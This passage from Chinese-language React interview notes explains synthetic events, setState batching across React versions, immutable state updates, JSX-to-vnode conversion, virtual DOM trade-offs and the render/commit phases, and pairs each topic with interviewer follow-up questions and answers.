    console.log('nativeEvent target', event.nativeEvent.target)  // 指向当前元素,即当前元素触发
    console.log('nativeEvent current target', event.nativeEvent.currentTarget) // 指向 document !!!

    // 1. event 是 SyntheticEvent ,模拟出来 DOM 事件所有能力
    // 2. event.nativeEvent 是原生事件对象
    // 3. 所有的事件,都被挂载到 document 上
    // 4. 和 DOM 事件不一样,和 Vue 事件也不一样
}

💬 面试官追问

  • 微前端页面同时挂载两套 React 应用,候选人坚持所有版本都会把点击事件统一绑到 document,你会拿什么版本差异追问他?

    需要区分事件委托位置:React16 主要绑定到 document,React17 改为绑定到各自的根容器,更利于多个 React 版本或应用共存。不能把这个差异扩大成所有事件行为完全隔离,原生事件传播和宿主页面监听仍可能相互影响。

  • 表格有上千个可点击单元格,业务方担心 React 会给每个节点都注册一份原生监听器,你如何解释合成事件的工程价值?

    React 通过根级事件委托统一管理事件,再向组件分发 SyntheticEvent,因此不需要按同样方式在每个节点频繁绑定和解绑原生监听器。这样有利于兼容性和集中管理,但业务回调数量及其执行成本仍然存在,不能用委托掩盖重逻辑处理器。

  • 弹窗组件调用 event.stopPropagation() 后,宿主系统注册的原生监听器仍出现了意外行为,开发者只检查 SyntheticEvent,你会要求补查什么?

    应同时检查 event.nativeEvent、原生监听器的挂载节点与捕获或冒泡阶段,确认两套传播链路的先后关系。SyntheticEvent 模拟常用 DOM 事件能力,但并不等于原生事件对象;混用 React 与手写 DOM 监听时,停止传播的效果要按实际路径验证。

  • 点击按钮时日志显示 event.currentTarget 是按钮,而 event.nativeEvent.currentTarget 却是根节点或委托节点,值班同学判断 React 事件对象损坏,你怎么排查?

    这通常符合合成事件机制:React 将 SyntheticEvent.currentTarget 设置为当前执行处理器对应的元素,原生事件的 currentTarget 则反映原生监听器实际挂载位置。还应比较 target 确认真实触发节点;若异步读取或跨层监听,需以运行版本和挂载结构复核。

  • 跨端团队希望 Web 与 React Native 共用交互抽象,另一位负责人主张直接把原生 MouseEvent 传遍业务层,你支持哪种边界?

    更适合让业务层依赖 React 统一提供的事件能力,并只在确需宿主细节时访问 nativeEvent,因为合成事件有兼容和跨平台抽象价值。直接依赖 MouseEvent 会把 Web 细节扩散到跨端代码;但合成事件也不是所有平台语义完全一致的保证。

# setState 是同步还是异步(按 React 版本分档)

⚡ 30 秒速记

  • 这道题的标准答案随 React 版本变过一次,面试时先问清「哪个版本、用的哪种根节点」,再回答,比背结论稳得多

setState 不能简单归为同步或异步,关键看版本、根节点以及是否进入批处理。 React 17 及以前和 React 18 的 ReactDOM.render 模式,只在 React 上下文中批处理,定时器、原生事件等场景会逐次刷新。React 18 使用 createRoot 后会自动批处理,React 19 也延续这一行为;确实要立即读取提交后的结果时可用 flushSync。新值依赖旧值时,应使用函数形式,避免多次对象更新互相覆盖。

这道题的标准答案随 React 版本变过一次,面试时先问清「哪个版本、用的哪种根节点」,再回答,比背结论稳得多。

结论速查

版本与根节点 React 事件 / 生命周期内 setTimeout / 原生事件 / Promise 回调内 强制同步的出口
React 17 及以前(ReactDOM.render) 批量合并,读不到最新值 逐次同步刷新,能立刻读到最新值 本来就是同步的
React 18(ReactDOM.render 兼容模式) 批量合并 逐次同步刷新(与 17 一致) 本来就是同步的
React 18(createRoot) 批量合并 同样批量合并(automatic batching) flushSync
React 19 批量合并 批量合并(ReactDOM.render 已移除,没有退回旧行为的选项) flushSync

一句话版本:setState 从来不是「同步」,它是「是否被批处理」。React 18 之前只有 React 自己的调用栈里才批处理,18 起用 createRoot 后所有场景都批处理。

为什么 React 17 及以前会「变成同步」

17 及以前靠一个全局标志位 isBatchingUpdates 判断当前是否处在 React 的调用栈里:

  • 能命中批处理:生命周期、React 合成事件的回调及其同步调用的函数——总之在 React 上下文中。
  • 不能命中批处理:setTimeout / setInterval、addEventListener 注册的原生事件、Promise.then、await 之后的代码——React 的事务已经结束了,管不到。

不能命中时每次 setState 直接触发一次完整的更新与重渲染,所以下一行就能读到新值,看起来「同步」。这也是当年需要 unstable_batchedUpdates 手动包一层来强行合并的原因。

React 18 起改成了什么

createRoot 默认开启 automatic batching:无论 setState 从哪里发起,只要在同一个事件循环任务里,都会被合并成一次重渲染。

  • unstable_batchedUpdates 因此不再需要,它只作为迁移期的兼容 API 存在。
  • 想退回旧行为唯一的办法是继续用 ReactDOM.render 兼容模式,而 React 19 已经移除 ReactDOM.render,所以 19 里没有「同步 setState」这回事了。
  • 需要在某一行之后立刻读到 DOM 或新 state 时,用 flushSync 显式退出批处理,它是逃生口,不是常规写法(每次调用都强制一次同步渲染,用多了就是性能问题)。
import { flushSync } from 'react-dom'

// React 18 / 19:只有这样才能在下一行读到已提交的结果
flushSync(() => {
  setCount((prev) => prev + 1)
})
// 到这里 DOM 已经更新完毕
console.log(listRef.current.scrollHeight)

对象形式会合并,函数形式不会

这一点与版本无关,两个版本都一样,而且是笔试题的高频考点:

  • 传对象 setState({ count: this.state.count + 1 }):多次调用后按 Object.assign 语义合并,后面覆盖前面,每次读的都是本轮未更新的旧 state,所以连写三次只 +1。
  • 传函数 setState((prev) => ({ count: prev.count + 1 })):更新函数排队依次执行,每个都拿到上一个的结果,连写三次真的 +3。

函数组件的 useState setter 完全遵循同一套规则(setCount(count + 1) 对应对象形式的坑,setCount(prev => prev + 1) 对应函数形式)。只要新值依赖旧值,就用函数形式。

批处理机制的最小模型

下面这段只是用来说明「批处理 = 先入队、退出批处理区间时统一结算」,不代表真实实现(真实实现走 Fiber 的 lane 优先级调度,不是一个布尔标志):

let isBatching = false
let queue = []
let state = { number: 0 }

function setState(partialOrUpdater) {
  queue.push(partialOrUpdater)
  // 不在批处理区间内就立刻结算,这正是 React 17 在 setTimeout 里的表现
  if (!isBatching) flushQueue()
}

function flushQueue() {
  state = queue.reduce((acc, item) => (typeof item === 'function' ? { ...acc, ...item(acc) } : { ...acc, ...item }), state)
  queue = []
  // 真实实现在这里进入 render / commit 阶段
}

// React 18 的 automatic batching 相当于把每个任务都包进这个区间
function batchedTask(task) {
  isBatching = true
  try {
    task()
  } finally {
    isBatching = false
    flushQueue()
  }
}

batchedTask(() => {
  setState({ number: state.number + 1 })
  setState({ number: state.number + 1 })
  console.log(state.number) // 0,还没结算
})
console.log(state.number) // 1:对象形式被合并,只 +1

经典笔试题:同一段代码在不同版本输出不同

class Example extends React.Component {
  state = { val: 0 }

  componentDidMount() {
    this.setState({ val: this.state.val + 1 })
    console.log(this.state.val) // 第 1 次 log

    this.setState({ val: this.state.val + 1 })
    console.log(this.state.val) // 第 2 次 log

    setTimeout(() => {
      this.setState({ val: this.state.val + 1 })
      console.log(this.state.val) // 第 3 次 log

      this.setState({ val: this.state.val + 1 })
      console.log(this.state.val) // 第 4 次 log
    }, 0)
  }

  render() {
    return null
  }
}
  • React 17 及以前,或 React 18 的 ReactDOM.render 兼容模式:0, 0, 2, 3
    • componentDidMount 里两次 setState 被合并(对象形式互相覆盖),提交后 val 为 1,两次 log 都还是 0。
    • setTimeout 里不批处理,第一次把 1 更新成 2 并立刻可读,第二次更新成 3。
  • React 18 createRoot 或 React 19:0, 0, 1, 1,最终 val 为 2
    • setTimeout 里同样被批处理,两次 setState 都基于未刷新的 val = 1 算出 { val: 2 } 并互相覆盖,两次 log 都读到 1。
  • 若把 setTimeout 里改成函数形式 this.setState((prev) => ({ val: prev.val + 1 })),log 仍是 0, 0, 1, 1,但最终 val 为 3——这正好说明「log 读到什么」由批处理决定,「最终累加多少」由对象/函数形式决定,两件事互不相干。

面试怎么答

先给判定标准(是否被批处理),再给版本分档,最后给出口(flushSync)和取值原则(依赖旧值就用函数形式)。如果面试官只问「同步还是异步」,可以直接说:React 18 起统一是批处理的异步更新,17 及以前只在 React 上下文内批处理,所以定时器和原生事件里表现得像同步。

💬 面试官追问

  • 一个类组件在 componentDidMount 里连续两次执行 setState({ count: this.state.count + 1 }),产品认为应该加二,但页面只加一;你会把它归因于“异步更新”吗?

    不能只归因于“异步”,关键是两次对象形式更新处于同一批处理区间,都读取了尚未提交的旧 state,后一个结果又覆盖前一个。应改成 setState(prev => ({ count: prev.count + 1 }));批处理决定何时提交,更新形式决定最终累计多少。

  • 埋点面板从 ReactDOM.render 升级到 React 18 的 createRoot 后,Promise.then 中连续更新筛选条件和列表,以前每次更新后都能读到新值,现在读到旧值,迁移时怎么处理?

    这是 createRoot 开启 automatic batching 后的预期变化,Promise 回调中的更新也会合并,不能再依赖下一行立即读到提交结果。业务计算应使用局部变量或函数式更新;只有必须马上测量新 DOM 时才用 flushSync,否则会增加同步渲染成本。

  • 同一套后台代码需要同时运行在 React 17、React 18 兼容根和 React 18 createRoot,定时器里连续两次 setState 的表现为什么不能写成统一断言?

    React 17 和 React 18 的 ReactDOM.render 兼容模式下,定时器中的更新会逐次刷新;React 18 createRoot 下,同一任务里的更新会自动批处理。测试应按版本与根节点分别声明预期,并避免把“下一行可读新值”作为业务契约,否则切换根节点就会暴露兼容问题。

  • 线上滚动列表偶发滚动位置错误:点击“加载更多”后调用 setState,下一行读取 scrollHeight,开发环境有时正常、升级 createRoot 后稳定读到旧高度,你沿什么链路排查?

    先确认根节点类型和更新发生的调用栈,再检查高度读取是否早于 commit;在 createRoot 下,事件内更新会批处理,下一行读取的仍可能是旧 DOM。优先把测量放到提交后的生命周期或 effect 中,确需同一调用栈完成时用 flushSync,并限制其范围。

  • 架构评审中有人主张所有状态更新都包进 flushSync,以恢复旧系统“写完就能读”的习惯;你会接受吗?

    不会,flushSync 是需要立即提交并读取 DOM 或新状态时的逃生口,不应成为默认更新方式。它会强制同步渲染并破坏批处理带来的合并机会;更稳妥的是函数式更新、提交后读取以及消除对更新时序的隐式依赖。

  • 同一段代码把定时器中的对象形式更新改成函数形式后,两个 console.log 仍打印旧值,但最终计数从加一变成加二;这分别说明了什么?

    日志仍是旧值,说明这些更新仍处于批处理区间,commit 尚未发生;最终能加二,是因为两个 updater 依次接收前一次计算结果。由此要分开判断调度与状态计算:批处理控制可见时机,函数式更新保证依赖旧值时不丢更新。

# 不要直接改 state:不可变值写法

⚡ 30 秒速记

  • setState 之外的另一个必考点是「为什么不能直接改 this.state」

不要直接修改 state,而要创建新数组或新对象后再提交更新。 原地修改会保留原引用,而 PureComponent、React.memo 等机制依赖浅比较,可能判断不出数据已经变化。数组可以使用展开、concat、slice 或 filter,对象可以使用展开或 Object.assign。状态嵌套很深时,我一般会拆分状态结构或使用 Immer 的 produce,减少手写展开遗漏。

setState 之外的另一个必考点是「为什么不能直接改 this.state」。原因是 React 依赖引用比较判断是否需要重渲染(PureComponent / React.memo / useMemo 的依赖比较都是浅比较),原地修改后引用没变,React 认为什么都没发生。

// 数组:不要 push / pop / splice / sort / reverse 原地改
const nextList = list.slice()
nextList.splice(2, 0, 'a')

setState({
  list1: list1.concat(100), // 追加
  list2: [...list2, 100], // 追加
  list3: list3.slice(0, 3), // 截取
  list4: list4.filter((item) => item > 100), // 筛选
  list5: nextList // 其他操作
})

// 对象:不要直接设置属性
setState({
  obj1: Object.assign({}, obj1, { a: 100 }),
  obj2: { ...obj2, a: 100 }
})

嵌套较深时手写展开很容易漏,用 Immer 的 produce 或结构化的状态拆分更可靠,不要靠「小心一点」。

💬 面试官追问

  • 商品列表组件用 React.memo 包住子项,父组件执行 products[0].price = 99 后又把同一个 products 传下去,日志显示数据已变但页面没更新,你怎么解释?

    原地修改只改变了对象内部字段,数组及相关对象的引用可能保持不变,浅比较就会判断输入没有变化。应创建新的数组,并为被修改的商品创建新对象;如果只复制外层却继续修改旧商品对象,订阅更深层引用的组件仍可能漏更新。

  • 一个表格支持插入、删除、排序和筛选,单页约有数千条记录;团队准备统一用 push、splice、sort 后再调用 setter,你会怎样落地改造?

    追加和筛选分别用展开、concat、filter 等返回新数组的写法,插入可先 slice 复制再修改副本,排序也应先复制再 sort。这样能稳定触发浅比较,但每次复制大数组有分配成本;数据继续增长时还要拆分状态和缩小更新范围。

  • 表单状态从两层扩展到六层,开发者每次更新都手写多层展开,线上已出现修改地址时误丢联系人字段;你会继续坚持纯手写吗?

    不应继续依赖人工完整展开,嵌套越深越容易漏复制或覆盖兄弟字段。可用 Immer 的 produce 保留类似可变操作的写法并生成新引用,或者按业务边界拆平状态;代价是引入工具或重构模型,仍需明确实际修改路径。

  • 线上筛选器偶发不刷新,但刷新浏览器后数据正确;你发现 reducer 里对数组执行了 reverse(),随后返回原对象,排查和修复顺序是什么?

    先确认 reducer 返回值与修改前对象、数组是否同一引用,再检查 React.memo、PureComponent 或 memo 依赖是否因此跳过更新。修复时复制数组后再 reverse(),并让包含它的父对象也产生新引用;还要检查旧引用是否已被污染,否则历史快照可能不可恢复。

  • 性能评审中,一方要求所有层级都做深拷贝,另一方只复制最外层对象;更新一个订单备注时该怎么选?

    两种极端都不合适,应只复制从根状态到被修改字段路径上的每一层,未变化分支继续复用原引用。只复制外层会让被原地修改的深层对象泄漏变化,整棵深拷贝则产生不必要的分配,并破坏未变化分支的引用稳定性。

  • 状态已经按不可变方式更新,但昂贵子组件仍频繁渲染;父组件每次都新建配置对象并传给 React.memo 子组件,这和“不要改 state”有什么关联?

    不可变更新要求变化处产生新引用,却不意味着所有值都应无条件创建新引用;父组件每次新建配置对象会让浅比较认为 props 已变化。应保持未变化数据的引用稳定,并按需调整组件边界;过度 memo 化同样会增加比较和维护成本。

# 根据jsx写出vnode和render函数

⚡ 30 秒速记

  • 注意JSX中的常量和变量

把 JSX 写成 vnode 或 render 函数,本质上是把标签、属性和子节点转换成嵌套的 JavaScript 描述。 原生标签如 div、p 要写成字符串,自定义组件 MyComponent 则保留为变量。静态文本和属性直接写值,onClick、name、imgSrc 等表达式仍引用对应变量。落到 React 中,这棵结构会编译为嵌套的 React.createElement 调用;其他实现也可以用类似的 h(tag, props, children) 表达。

<!-- jsx -->
<div className="container">
  <p onClick={onClick} data-name="p1">
    hello <b>{name}</b>
  </p>
  <img src={imgSrc} />
  <MyComponent title={title}></MyComponent>
</div>

注意

  • 注意JSX中的常量和变量
  • 注意JSX中的HTML tag和自定义组件
const vnode = {
  tag: 'div',
  props: {
    className: 'container'
  },
  children: [
    // <p>
    {
      tag: 'p',
      props: {
        dataset: {
          name: 'p1'
        },
        on: {
          click: onClick // 变量
        }
      },
      children: [
        'hello',
        {
          tag: 'b',
          props: {},
          children: [name] // name变量
        }
      ]
    },
    // <img />
    {
      tag: 'img',
      props: {
        src: imgSrc // 变量
      },
      children: [/**无子节点**/]
    },
    // <MyComponent>
    {
      tag: MyComponent, // 变量
      props: {
        title: title, // 变量
      },
      children: [/**无子节点**/]
    }
  ]
}
// render函数
function render() {
  // h(tag, props, children)
  return h('div', {
    props: {
      className: 'container'
    }
  }, [

    // p
    h('p', {
      dataset: {
        name: 'p1'
      },
      on: {
        click: onClick
      }
    }, [
      'hello',
      h('b', {}, [name])
    ])

    // img
    h('img', {
      props: {
        src: imgSrc
      }
    }, [/**无子节点**/])

    // MyComponent
    h(MyComponent, {
      title: title
    }, [/**无子节点**/])
  ]
  )
}

在react中jsx编译后

// 使用https://babeljs.io/repl编译后效果

React.createElement(
  "div",
  {
    className: "container"
  },
  React.createElement(
    "p",
    {
      onClick: onClick,
      "data-name": "p1"
    },
    "hello ",
    React.createElement("b", null, name)
  ),
  React.createElement("img", {
    src: imgSrc
  }),
  React.createElement(MyComponent, {
    title: title
  })
);

💬 面试官追问

  • 代码评审中有人把 <section><Widget title={title}/></section> 的两个节点都写成 { tag: '字符串' },结果运行时把 Widget 当成未知 HTML 标签;错在什么地方?

    小写宿主标签应表示为字符串,如 'section',大写自定义组件必须保留变量引用 Widget。JSX 用大小写区分宿主元素和组件;若把组件名写成字符串,渲染器得到的节点类型就变了,props 正确也无法补救。

  • 你要把一段包含点击事件、data-name、文本和动态 name 的 JSX 接入自研 h(tag, props, children) 渲染器,转换时会怎样保留常量与变量?

    标签名、静态文本和固定属性值按常量写入,onClick、name 等表达式则保留为变量引用,不能转成同名字符串。事件和 data-* 属性怎样归入 on、dataset 或普通 props 取决于该渲染器约定,不能照搬 React 的属性结构。

  • 团队把渲染层从自研 VNode 切到 React,原实现要求事件放在 on.click、数据属性放在 dataset.name;迁移后的 React.createElement 参数还能保持这个结构吗?

    不能默认保持,自研 VNode 的字段组织只是该渲染器协议;React 编译结果会把 onClick 和 'data-name' 作为 props 直接传入。迁移应以目标运行时的元素创建契约为准,否则节点树形状看似相近,事件绑定和属性写入仍会失效。

  • 线上只有图片和自定义组件不显示,父级 <div> 与 <p> 正常;生成代码里 h('img', props, children) h(MyComponent, props, children) 之间漏了分隔符,你会怎么定位?

    先查看 JSX 编译或手写 render 的实际输出,确认每个子节点都是父节点 children 数组中的独立元素,并检查逗号、括号与参数层级。再核对 'img' 是字符串而 MyComponent 是变量;语法结构和节点类型任一出错,都可能让后续子树无法创建。

  • 构建工具已能稳定把 JSX 编译成 React.createElement,但负责人仍要求业务开发手写完整 VNode 对象以“减少编译”;你会支持这个选型吗?

    通常不支持,JSX 编译已能准确处理标签类型、表达式、children 和 props,手写对象会把运行时协议泄漏到业务层并增加结构错误。只有自研渲染器明确规定 VNode 结构且没有对应转换器时才考虑手写,同时必须用测试固定节点契约。

  • 同一个 <p onClick={onClick}>hello <b>{name}</b></p>,为什么 VNode、h() 调用和 React.createElement 看起来不同,却能表达相邻知识里的同一棵树?

    三者都表达节点类型、属性和有序 children,只是具体数据协议不同:有的把 children 放数组,有的作为后续参数传入。文本 'hello ' 是常量,name 与 onClick 是运行时值;比较转换结果时应看语义对应,而不是要求对象字段完全一致。

# 虚拟DOM(vdom)真的很快吗

⚡ 30 秒速记

  • virutal DOM,虚拟DOM

虚拟 DOM 本身并不比直接、精准地操作真实 DOM 更快,它的价值是让数据驱动更新更合适、更可控。 数据变化后还要经过 vnode diff 再更新真实节点,这条链路天然多了一层计算。大型系统如果每次都重建全部 DOM,成本会很高,虚拟 DOM 可以把实际更新范围尽量缩小。它是一种工程取舍而不是性能神话,而且并非所有框架都采用,例如 Svelte 就不用虚拟 DOM。

  • virutal DOM,虚拟DOM
  • 用JS对象模拟DOM节点数据
  • vdom并不快,JS直接操作DOM才是最快的
    • 以vue为例,data变化 => vnode diff => 更新DOM 肯定是比不过直接操作DOM节点快的
  • 但是"数据驱动视图"要有合适的技术方案,不能全部DOM重建
  • dom就是目前最合适的技术方案(并不是因为它快,而是合适)
  • 在大型系统中,全部更新DOM的成本太高,使用vdom把更新范围减少到最小

并不是所有的框架都在用vdom,svelte就不用vdom

💬 面试官追问

  • 实时仪表盘每秒只改一个数字,候选人断言“引入 VDOM 一定比 textContent 直接赋值快”;作为面试官你会怎样反驳?

    单看这一次已知节点的更新,直接操作目标 DOM 通常路径更短,VDOM 还要创建 VNode、比较差异再提交修改。VDOM 的价值不是赢下单点操作耗时,而是在数据驱动的大型界面中用统一模型控制更新范围;小而明确的热点未必需要它。

  • 一个后台页面有上千个节点,筛选条件变化后产品要求不能整页重建;VDOM 在这类页面承担的工程职责是什么?

    它先用 JavaScript 对象描述新旧视图,通过 diff 找出需要变化的部分,再把结果提交到真实 DOM,避免无差别重建全部节点。收益来自可维护的数据驱动更新与较小的 DOM 修改范围,但仍有 VNode 创建和比较成本,不能据此承诺绝对更快。

  • 编辑器画布更新频率很高、操作目标节点又非常明确,框架组坚持所有变化必须先走 VDOM;约束变化后你会怎么评估?

    应把高频且定位明确的更新与普通声明式 UI 分开评估,前者直接操作 DOM 可能更合适,后者继续由 VDOM 管理能保持一致的数据流。若混用两套更新路径,必须划清所有权,避免框架下一次渲染覆盖手工修改。

  • 线上列表滚动明显卡顿,监控只看到组件频繁更新;有人直接认定是“真实 DOM 太慢”,你会查哪些环节?

    先区分成本来自状态变化次数、VNode 创建与 diff,还是 commit 阶段的真实 DOM 修改,不能把全部时间归给 DOM。再检查是否整棵子树反复生成、列表标识是否稳定以及更新范围是否过大;只有定位到具体阶段后,才能决定减少渲染还是改写热点操作。

  • 技术选型会上,一方选 React/Vue 的理由只有“VDOM 最快”,另一方推荐不使用 VDOM 的 Svelte;你会如何裁决?

    不能以“VDOM 最快”作为结论,因为直接 DOM 更新更短,而不同框架可能采用不同的更新策略。应比较团队需要的数据驱动模型、组件生态、更新粒度和维护成本;不用 VDOM 不等于没有优化,使用 VDOM 也不保证所有场景性能占优。

  • 组件状态变化后页面没更新,排查时为什么既要看不可变引用,又要看 VNode diff 和最终 DOM 提交?

    引用未变化可能让上层浅比较直接跳过渲染,此时根本不会产生预期的新 VNode;即使生成了新树,diff 或提交边界异常也会让 DOM 未按预期变化。应按“状态更新触发、生成新树、比较差异、提交 DOM”逐段定位,避免只盯最终页面。

# react组件渲染过程

⚡ 30 秒速记

  • JSX如何渲染为页面

React 组件渲染本质上是根据变化生成新虚拟节点,再把差异提交到真实 DOM。 当 props、state 变化或调用 setState 时,更新会进入待处理队列,相关组件被标记后重新计算 vnode。更新分为执行 diff 的 reconciliation 阶段和修改页面的 commit 阶段,前者是纯 JS 计算。组件复杂时,Fiber 会拆分计算任务,在浏览器空闲时继续处理,避免长期占用主线程。

  • JSX如何渲染为页面
  • setState之后如何更新页面
  • 面试考察全流程

1.组件渲染过程

  • 分析
    • props、state 变化
    • render()生成vnode
    • patch(elem, vnode) 渲染到页面上(react并一定用patch)
  • 渲染过程
    • setState(newState) => newState存入pending队列,判断是否处于batchUpdate状态,保存组件于dirtyComponents中(可能有子组件)
    • 遍历所有的dirtyComponents调用updateComponent生成newVnode
    • patch(vnode,newVnode)

2.组件更新过程

  • patch更新被分为两个阶段
    • reconciliation阶段:执行diff算法,纯JS计算
    • commit阶段:将diff结果渲染到DOM中
  • 如果不拆分,可能有性能问题
    • JS是单线程的,且和DOM渲染共用一个线程
    • 当组件足够复杂,组件更新时计算和渲染都压力大
    • 同时再有DOM操作需求(动画、鼠标拖拽等)将卡顿
  • 解决方案Fiber
    • reconciliation阶段拆分为多个子任务
    • DOM需要渲染时更新,空闲时恢复在执行计算
    • 通过window.requestIdleCallback来判断浏览器是否空闲

💬 面试官追问

  • 搜索页调用 setState 后马上执行 render() 的日志出现了,但 DOM 仍是旧内容;同事据此认为 React 更新失败,你怎么解释 render 与页面更新的关系?

    render() 生成的是新的虚拟节点描述,属于 reconciliation 的计算过程,并不等于真实 DOM 已完成提交。只有进入 commit 阶段后差异才会落到页面;因此排查时要区分“组件函数执行了”和“DOM 已更新”,不能用一条 render 日志替代提交证据。

  • 一个包含数百个组件的运营后台连续触发多次 setState,如果逐次立即重渲染会造成大量重复工作;React 的更新链路如何吸收这些请求?

    状态更新会先进入待处理队列,处于批处理时相关组件被标记为需要更新,再统一生成新 VNode 并与旧树比较。这样可以合并同一批次内的工作,但对象形式更新可能读取旧 state 并互相覆盖,依赖旧值时仍应使用函数式更新。

  • 页面从简单表单扩展成复杂拖拽编排器,更新计算和动画都争用主线程;为什么把 reconciliation 与 commit 分开会更重要?

    reconciliation 主要进行可拆分的 JavaScript 计算,commit 则把结果应用到 DOM;拆开后,调度器才有机会安排计算工作,并把最终 DOM 变更集中提交。commit 涉及真实页面修改,不能像纯计算那样随意中断;组件越复杂,更新边界和任务优先级越关键。

  • 线上点击后 state 已进入更新队列,组件也被标记为 dirty,但页面始终没变化;你会沿哪几个阶段定位故障?

    先确认待处理 state 是否被正确结算以及组件是否真正进入更新,再看 render 是否读取到新 props 或 state,并比较新旧 VNode 是否产生差异。最后检查 commit 是否执行及目标 DOM 是否被其他逻辑覆盖;若中间被浅比较跳过,还要回查是否原地修改了状态。

  • 有人为了让拖拽不卡顿,提议把所有 DOM 修改都切成可中断小任务;这个方案符合 React 两阶段模型吗?

    不完全符合,可拆分和调度的重点是 reconciliation 计算,而 commit 要把选定结果一致地落到真实 DOM,通常不能任意暂停后暴露半完成界面。优化应优先减少计算量、缩小更新范围并安排优先级;强拆 commit 可能造成视觉与状态不一致。

  • 从 JSX 到页面更新的链路里,JSX 编译、VNode diff、批处理和 Fiber 分别解决什么层面的问题,为什么不能混为一个“渲染优化”?

    JSX 编译负责把声明转换为元素创建调用,批处理负责合并一段时间内的状态更新,diff 比较新旧节点,而 Fiber 为 reconciliation 提供可拆分、可调度的工作结构。它们处在不同阶段;某一层优化不能自动消除其他层的重复计算或 DOM 提交成本。

# React setState 经典笔试题(三档答案对照)

⚡ 30 秒速记

  • 判定规则与版本差异见上文「setState 是同步还是异步(按 React 版本分档)」,这里只练题

这类 setState 题的结果取决于根节点模式、批处理范围,以及传入的是对象还是更新函数。 题一在旧模式输出 0, 0, 2, 3,最终为 3;createRoot 或 React 19 输出 0, 0, 1, 1,最终为 2。题二改用函数形式后,最终分别为 4 和 3,因为函数更新能基于前一次结果累加。Hooks 中两次常量更新加两次函数更新会从 100 得到 103,日志仍读取本轮快照;setState 本身既不是宏任务也不是微任务,提交时机由调度决定。

判定规则与版本差异见上文「setState 是同步还是异步(按 React 版本分档)」,这里只练题。做题前先确认两件事:当前是哪个版本 / 哪种根节点,以及用的是对象形式还是函数形式。

题一:对象形式 + 定时器

class Example extends React.Component {
  state = { val: 0 }

  componentDidMount() {
    this.setState({ val: this.state.val + 1 })
    console.log(this.state.val) // 第 1 次 log

    this.setState({ val: this.state.val + 1 })
    console.log(this.state.val) // 第 2 次 log

    setTimeout(() => {
      this.setState({ val: this.state.val + 1 })
      console.log(this.state.val) // 第 3 次 log

      this.setState({ val: this.state.val + 1 })
      console.log(this.state.val) // 第 4 次 log
    }, 0)
  }

  render() {
    return null
  }
}
环境 4 次 log 最终 val
React 17 及以前 / React 18 兼容模式(ReactDOM.render) 0, 0, 2, 3 3
React 18 createRoot / React 19 0, 0, 1, 1 2

前两次 log 在所有版本都是 0(生命周期里一定批处理,且对象形式互相覆盖,只 +1)。差异只出现在定时器内:旧版本不批处理所以逐次可读,新版本批处理所以两次都读到 1 且互相覆盖。

题二:函数形式 + 定时器里用对象形式

class Example extends React.Component {
  state = { val: 0 }

  componentDidMount() {
    this.setState((prev) => ({ val: prev.val + 1 }))
    console.log(this.state.val) // 第 1 次 log

    this.setState((prev) => ({ val: prev.val + 1 }))
    console.log(this.state.val) // 第 2 次 log

    setTimeout(() => {
      this.setState({ val: this.state.val + 1 })
      console.log(this.state.val) // 第 3 次 log

      this.setState({ val: this.state.val + 1 })
      console.log(this.state.val) // 第 4 次 log
    }, 0)
  }

  render() {
    return null
  }
}
环境 4 次 log 最终 val
React 17 及以前 / React 18 兼容模式 0, 0, 3, 4 4
React 18 createRoot / React 19 0, 0, 2, 2 3

函数形式让生命周期里的两次更新真的累加,提交后 val 为 2(对照题一是 1)。定时器里换回对象形式,于是又回到「新版本批处理 + 互相覆盖」的老问题。

题三:Hooks 里同样的两个坑

function Demo() {
  const [value, setValue] = useState(100)

  function handleClick() {
    // 传常量:两次都基于本次渲染快照里的 value(100),算出同一个 101,互相覆盖
    setValue(value + 1)
    setValue(value + 1)
    console.log(1, value) // 100:value 是本次渲染的快照,不会中途变化

    // 传函数:更新函数排队依次执行,拿到的是上一个的结果,真的累加
    setValue((prev) => prev + 1)
    setValue((prev) => prev + 1)
    console.log(2, value) // 100
  }

  return <button onClick={handleClick}>点击 {value}</button>
}

一次点击后 value 变成 103:队列依次结算为 101(常量)→ 101(常量覆盖)→ 102(函数)→ 103(函数)。

两个必须分清的点:

  • console.log(value) 永远打印本次渲染的快照,与批处理无关。函数组件的 state 是渲染的快照,不是可变盒子,所以中途读不到新值——这和类组件「读 this.state 读到旧值」是同一个现象的不同表现。
  • 要不要累加取决于常量 / 函数形式,与版本无关。凡是新值依赖旧值,就用 setValue(prev => ...)。

连环问:setState 是宏任务还是微任务

都不是。setState 本身是一次同步的函数调用,它做的事是把更新塞进 React 自己的更新队列并请求一次调度;真正的 render 与 commit 由 React 的调度器决定何时执行,走的是 React 的 lane 优先级模型,不是浏览器的宏任务 / 微任务队列。

面试时按这个层次答:

  1. setState 调用本身是同步的,返回时更新已经入队。
  2. 「异步」指的是你读不到刚写入的 state,因为本轮渲染的快照没变。
  3. 何时刷新由调度决定:React 18 起同一任务内的更新会被合并成一次提交;不同优先级(如 startTransition 标记的低优先级更新)可能被推迟甚至中断重来。
  4. 需要在某行之后立刻读到已提交结果时,用 flushSync 显式退出批处理。

不要去背「setState 回调和 Promise.then 谁先打印」——这个顺序在 React 17 的同步批处理和 React 18 起的微任务调度下并不一致,且随更新优先级变化,属于实现细节而非稳定语义。真正需要「更新提交后再做事」时,类组件用 setState 的第二个参数回调,函数组件用 useEffect 依赖该 state,或者用 flushSync 显式同步。

💬 面试官追问

  • 一个类组件在 componentDidMount 里连续两次执行 this.setState({ val: this.state.val + 1 }),产品经理认为最终一定加二;在 React 18 createRoot 页面中实际会得到什么,为什么?

    最终 val 是 1,两次紧邻的日志也都读取到 0。生命周期中的更新会被批处理,而两个对象更新都基于同一个旧 this.state.val 计算,后一个结果覆盖前一个;若新值依赖旧值,应改用函数形式。

  • 订单页一次点击要把计数连续增加两次,但代码执行两次 setValue(value + 1) 后界面只增加一次,日志仍显示点击前的值;你会怎样修改?

    应写成两次 setValue(prev => prev + 1),让更新函数在队列结算时依次取得上一项结果。日志里的 value 仍是本次渲染快照,不会因调用更新函数而在当前事件处理中改变;提交后的处理应放进依赖该状态的 useEffect。

  • 同一段定时器代码从 ReactDOM.render 迁到 React 18 createRoot 后,两次对象形式的 setState 不再逐次可读,最终计数也少加一次;这是升级故障还是预期变化?

    这是自动批处理带来的预期差异,不应按框架故障处理。旧根节点下定时器更新可能逐次提交,而 createRoot 会合并同一任务内的更新;业务累加必须改成函数形式,不能依赖旧模式下碰巧可见的中间状态。

  • 线上埋点显示一次操作调用了四次更新,但最终值不符合预期;代码同时混用了对象更新、函数更新和 setTimeout,你会按什么顺序定位?

